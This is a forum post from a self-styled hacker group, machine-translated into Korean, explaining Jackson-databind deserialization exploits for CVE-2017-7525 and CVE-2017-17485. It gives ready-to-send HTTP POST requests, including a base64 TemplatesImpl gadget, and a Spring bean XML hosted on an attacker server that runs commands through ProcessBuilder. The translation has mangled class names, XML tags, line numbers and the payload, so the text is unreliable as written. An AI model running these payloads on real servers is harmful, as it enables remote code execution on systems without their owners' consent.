KoreanHackerTeam
Moderator
Jackson-databind 反序列化漏洞(CVE-2017-7525)
Jackson-Databind는 다형성 사막화 기능 (기본적으로 활성화되지 않음)을 지원합니다. JSON 문자열에 의해 변환 된 대상 클래스에 다형성 필드가있을 때, 즉 필드 유형이 인터페이스, 초록 클래스 또는 객체 유형 일 때, 공격자는 JSON 문자열의 특정 유형 (서브 클래스 또는 인터페이스 구현 클래스)을 지정하여 지정된 클래스를 인스턴스화 할 수 있습니다. TemplatesImpl과 같은 일부 특수 클래스의 도움으로 임의의 코드 실행을 구현할 수 있습니다.따라서이 취약점의 악용 조건은 다음과 같습니다.
JacksonPolymorphicDeserialization을 켜십시오. 즉, 다음 방법 중 하나를 호출하십시오.
1
2
ObjectMapper.enableDefaultTyping (); //defaulttyping.object_and_non_concrete 사용에 대한 기본값
ObjectMapper.enableDefaultTyping (ObjectMapper.DefaultTyping.non_final);
대상 클래스에는 생성자가 필요합니다
대상 클래스에는 필드 유형 인터페이스, 초록 클래스 및 객체가 있어야하며 사용 된 가제트는 인터페이스의 서브 클래스/구현에 필요합니다.
CVE-2017-7525
Jackson-Databind가 대상 클래스 멤버 변수의 매개 변수 값을 설정하면 해당 Getter 메소드가 없으면 SetterlessProperty를 사용하여 Getter 메소드를 호출 한 다음 변수를 가져오고 변수 값을 설정합니다. getoutputproperties () 메소드가 호출되면 번역 된 클래스가 바이트 코드를 포함하는 클래스가 초기화되어 명령이 실행됩니다. 자세한 내용은 Java-Deserialization-jdk7U21-Gadget-Note의 TemplatesImpl에 대한 지침을 참조하십시오.jdk7u21의 com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl을 가제트로 보내고 다음 요청을 보내면 touch /tmp/prove1.txt를 실행합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
스물 하나
스물 두 번째
Post /Exploit http /1.1
Host: 귀하의 -IP:8080
accept-encoding: gzip, deflate
accept: */*
수락 language: en
user-agent: Mozilla/5.0 (호환 가능; MSIE 9.0; Windows NT 6.1; Win64; X64; Trident/5.0)
Connection: 닫기
Content-Type: Application/JSON
컨텐츠 길이 : 1298
{
'param': [
'com.sun.org.apache.xalan.internal.xsltc.trax.templatesimpl',
{
'Transletbytecodes ': [
'yv66vgaaadmakaoabaaucqadabuhhabcbaavwyxjhbquekxqyxzhl2xhbmcvt2jqzwn0owebjxpbml0pgeaaygpvgeabebebzgubaa9maw5ltnvtymvyvgfibgfibbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbjmbb2n HBFZHCMMLHYMXLVGBGUBAAR0AGLZAQACTGNVBS9IMW5NEI9ZZWMVBWMVBWMZWWVGFYZ2V0OWEACGDLDDFBHCMFTAQUKCLMACCLMAMF2YS9SYW5NL09IAMVJDDDDSBJDDSBJDDDDSBAHZZXHBHBBYXJ. mamf2ys9syw5nl09iamvjddddspvgeclnvdxjzzuzpbgubaatuyxjnzquamf2yqwabwaidaafaaybabpjb20vyjfuz3ovc2vjl21vzgvsl1rhccmdldaeagphdmpuzy9pgfuzy9puym ly3qbaag8y2xpbml0pgeeewphdmevbgfuzy9sdw50aw1lbwazaqakz2v0unvudgltzqufsgptgphdmevbgfuzy9sdw50aw1lowwagwaccgaaab0babvv0b3vjacavdg1wl3zl MS50EHQIAB8BAARLEGVJAQANKEXQYXZHL2XHBMCVU3RYAW5NOYLMAMF2YS9SYW5NL1BYB2NLC3M7DAAHACIKABOAIWEAQGNVBS9ZDW4VB3JNL2FWYWNOZS94YWXHBI9PBNRLCM5H bC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACUKACYAFAAhAAMAJgAAAAEAAgAFAAYAAAAEAAEABwAIAAEACQAAAC8AAQABAAAABSq3ACexAAAAAgAKAAAABgABAAAA bgalaaaadaabaaaabqaamaaaaaaaaaabaaaaaaaa4adwabaakaaaavaaaqaaaaaaaaaaaaaaauqtaacsaaaaaaaaaaiacgaaaaahaaaaaaaaaaaaaaaaaaaaaaaawaaqaaqaaaqaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaqaaqaaaaaaaaaaaaaaaaa Kiu1AAKxAAAAAgAKAAAACgACAAAADgAFAA8ACwAAABYAAgAAAAYADAANAAAAAAAGAAUABgABAAgAGAAIAAEACQAAABYAAgAAAAAACrgAHhIgtgAkV7EAAAAAAAEAEgAAAAIAEw=='
],
'TransletName ':'A.B ',
'outputProperties ': {}
}
]]
}


이 POC는 대상 JDK7U21 이하의 환경에서만 실행될 수 있으며 다른 경우에는 가제트를 교체해야합니다.
CVE-2017-17485
CVE-2017-7525 블랙리스트 수정 우회, org.springframework.context.support.filesystemxmlapplicationContext를 사용하여 우회합니다. 이 취약점을 활용하여 Bean 파일을 생성하고 http://evil/spel.xml과 같은 모든 서버에 배치해야합니다. 내용은 다음과 같습니다.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Beans xmlns='http://ww.springframework.org/schema/beans'
xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'
xsi:schemalocation='
'
bean id='pb'class='java.lang.processbuilder'
생성자-아그
정렬
valuetouch/value
값/tmp/propect2.txt/value
/정렬
/생성자-arg
속성 이름='모든'값='#{pb.start ()}'/
/콩
/콩
그런 다음 다음 패킷을 보내 잭슨이 콩을로드하고 취약점을 트리거하도록합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Post /Exploit http /1.1
Host: 귀하의 -IP:8080
accept-encoding: gzip, deflate
accept: */*
수락 language: en
user-agent: Mozilla/5.0 (호환 가능; MSIE 9.0; Windows NT 6.1; Win64; X64; Trident/5.0)
Connection: 닫기
Content-Type: Application/JSON
컨텐츠 길이 : 138
{
'param': [
'org.springframework.context.support.filesystemxmlapplicationcontext',
'http://ip/vil.xml'
]]
}

터치 /tmp/prove2.txt를 성공적으로 실행했습니다.

원리 : filesystemxmlapplicationContext를 사용하여 원격 Bean 정의 파일을로드하고 ProcessBuilder Bean을 만들고 XML 파일에서 Spring EL을 사용하여 start () 메소드를 호출하여 명령 실행을 구현하십시오.